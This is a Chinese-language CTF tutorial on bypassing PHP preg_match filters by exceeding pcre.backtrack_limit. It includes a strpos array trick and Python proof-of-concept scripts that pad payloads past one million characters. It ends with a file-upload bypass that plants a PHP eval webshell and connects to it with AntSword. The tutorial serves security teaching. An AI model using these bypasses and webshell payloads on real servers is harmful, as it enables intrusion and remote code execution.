目录
一、正则表达式概述
有限状态自动机
匹配输入的过程分别是:
DFA(确定性有限状态自动机)
NFA(非确定性有限状态自动机)
二、回溯的过程
三、 PHP 的 pcre.backtrack_limit 限制利用
例题一
回溯绕过步骤 :
1、运行结果: 可见无法匹配
2、尝试匹配:依旧无法匹配
3、再次尝试:发现拿到匹配结果
原因:
总结:
1、绕过该正则
例题二
1、利用python语言编写回溯绕过一百万次的脚本
回溯过程模拟:
例题三
文件上传漏洞
1、编写文件上传脚本
2、上传任意一个文件
3、正则回溯
编写回溯脚本
查看并执行python代码是否成功
temp文件出现
使用中国蚁剑进行连接测试
一、正则表达式概述
正则表达式是一个可以被 “有限状态自动机”接受的语言类。
有限状态自动机
其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。
而常见的正则引擎,又被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)。
匹配输入的过程分别是:
DFA(确定性有限状态自动机)
从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
NFA(非确定性有限状态自动机)
从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
由于 NFA 的执行过程存在回溯,所以其性能会劣于 DFA,但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎,其中也包括 PHP 使用的 PCRE 库。
二、回溯的过程
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
<?php eval()
if(!is_php($input)) {
// fwrite($f, $input); ...
}
题目中的正则 <\?.*[(`;?>].*,假设匹配的输入是 <?php phpinfo();//aaaaa,实际执行流程是这样的:
回溯过程
在第 4 步的时候,因为第一个 .* 可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是 //aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符 [(`;?>]。
所以 NFA 就开始回溯,先吐出一个 a,输入变成第 5 步显示的 //aaaa,但仍然匹配不上正则,继续吐出 a,变成 //aaa,仍然匹配不上……
最终直到吐出;,输入变成第 12 步显示的 <?php phpinfo(),此时 ,.* 匹配的是 php phpinfo(),而后面的 ; 则匹配上 [(`;?>] ,这个结果满足正则表达式的要求,于是不再回溯。13 步开始向后匹配;,14 步匹配.*,第二个.*匹配到了字符串末尾,最后结束匹配。
在调试正则表达式的时候,我们可以查看当前回溯的次数
三、 PHP 的 pcre.backtrack_limit 限制利用
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限:
回溯次数上限默认是 100 万
回溯次数超过了 100 万,返回的非 1 和 0,是 false。
preg_match 返回的非 1 和 0,而是 false。
preg_match 函数返回 false 表示此次执行失败了,我们可以调用 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);,发现失败的原因的确是回溯次数超出了限制
所以,这道题的答案就呼之欲出了。我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对 PHP 语言的限制。
对应的 POC 如下:
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://xx.xx.xx.xx/index.php', files=files, allow_redirects=False)
print(res.headers)
四、PCRE 另一种错误的用法
基于 PHP 的 WAF:
例一:
<?php
if(preg_match('/SELECT.+FROM.+/is', $input)) {
die('SQL Injection');
}
均存在上述问题,通过大量回溯可以进行绕过。
例二:
<?php
if(preg_match('/UNION.+?SELECT/is', $input)) {
die('SQL Injection');
}
这里涉及到了正则表达式的「非贪婪模式」。在 NFA 中,如果我输入 UNION/*aaaaa*/SELECT,这个正则表达式执行流程如下:
.+? 匹配到/ 因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配* S 匹配*失败,回溯,再由.+? 匹配* 因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配 a S 匹配 a 失败,回溯,再由.+? 匹配 a ... 回溯次数随着 a 的数量增加而增加。所以,我们仍然可以通过发送大量 a,来使回溯次数超出 pcre.backtrack_limit 限制,进而绕过 WAF:
例题一
<?php
// greeting[]=Merry Christmas&greeting[]=123
function areyouok($greeting){
return preg_match('/Merry.*Christmas/is',$greeting); //正则匹配
}
// greeting[]=123
// $greeting=@$_POST['greeting'];
if(!areyouok($greeting)){
// NULL != false
// Null !== false
// null !== false
// strpos
if(strpos($greeting,'Merry Christmas') !== false){ //字符查找,如果查找到返回字符的位置,没有就返回false
echo 'welcome to nanhang. '.'flag{i_Lov3_NanHang_everyThing}';
}else{
echo 'Do you know .swp file?';
}
}else{
echo 'Do you know PHP?';
}
回溯绕过步骤 :
1、运行结果: 可见无法匹配
2、尝试匹配:依旧无法匹配
3、再次尝试:发现拿到匹配结果
原因:
此时greeting传递的是数组,元素是123,而 strpos验证的是字符串
由上可见:在strpos这个对字符串处理的函数中传递数组,那么它将会返回一个NULL
将strpos返回的值NULL与 null !== false 进行对比,如果为真,则进行下去,为假则结束。
当只有一个 = bool(false),返回值为false,程序执行结束
<?php
var_dump(NULL != false);
?>
当有两个 == 时,返回值为true,程序继续执行
<?php
var_dump(NULL !== false);
?>
知识点补充:
PHP中 比较 0、false、null,'' "
松散比较:使用两个等号 == 比较,只比较值,不比较类型。 严格比较:用三个等号 === 比较,除了比较值,也比较类型。 == 在进行比较的时候,会先将字符串类型转化成相同,再比较
0 == false: bool(true) 0 === false: bool(false) 0 == null: bool(true) 0 === null: bool(false) false == null: bool(true) false === null: bool(false) "0" == false: bool(true) "0" === false: bool(false) "0" == null: bool(false) "0" === null: bool(false) "" == false: bool(true) "" === false: bool(false) "" == null: bool(true) "" === null: bool(false)
总结:
1、绕过该正则
插入代码:
greeting[]=123;
此时绕过第一个正则
接着会返回
null !== false;
根据严格不相等原则,此时返回结果是true,因此,代码将会继续执行
例题二
<?php
function areyouok($greeting){
return preg_match('/Merry.*Christmas/is',$greeting);
}
// 回溯的问题
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
if(!areyouok($greeting)){
// strpos string postion
if(strpos($greeting,'Merry Christmas') !== false){
echo 'Merry Christmas. '.'flag{i_Lov3_NanHang_everyThing}';
}else{
echo 'Do you know .swp file?';
}
}else{
echo 'Do you know PHP?';
}
} else {
echo 'fuck array!!!';
}
?>
思路: 只要将if(!areyouok($greeting))为假,并且含有‘Merry Christmas’字符,回溯一百万次即可绕过
1、利用python语言编写回溯绕过一百万次的脚本
from requests import post
payload = {
'greeting' : 'Merry Christmas' + 'a' * 1000001
}
url = 'http://127.0.0.1/xss_location/dem04.php'
res = post(url ,data=payload)
回溯超过一百万次后,绕过正则,此时if(!areyouok($greeting))为假,可见最终打印出'Merry Christmas',由此可见绕过完成
回溯过程模拟:
正则回溯实例
例题三
文件上传漏洞
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
exit("bad request");
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . 'oupeng.php';
//利用move_uploaded_file将临时文件,复制到$path
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
?>
1、编写文件上传脚本
<?php
echo "<pre>"; //设置输出为格式化输出
var_dump($_FILES);
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Xss-filter</title>
</head>
<body>
<form action="./file_upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="">
<input type="submit" value="submit">
</form>
</body>
</html>
2、上传任意一个文件
注:php上传文件时会生成一个临时文件,当文件上传完成时该临时文件将会自动删除
可以通过设置睡眠时间来将临时文件tmp抓到
<?php
sleep(100);
echo "<pre>"; //设置输出为格式化输出
var_dump($_FILES);
3、正则回溯
编写回溯脚本
from requests import post
files = {
'file' : r'<?php eval($_POST[123]);//' + r'a' * 1000000
}
url = 'http://127.0.0.1/xss_location/demo6.php'
res = post(url ,files=files, allow_redirects=False)
print (res.headers)
查看并执行python代码是否成功
temp文件出现
此时,一句话木马已经写入
使用中国蚁剑进行连接测试
连接成功,此时已经绕过漏洞。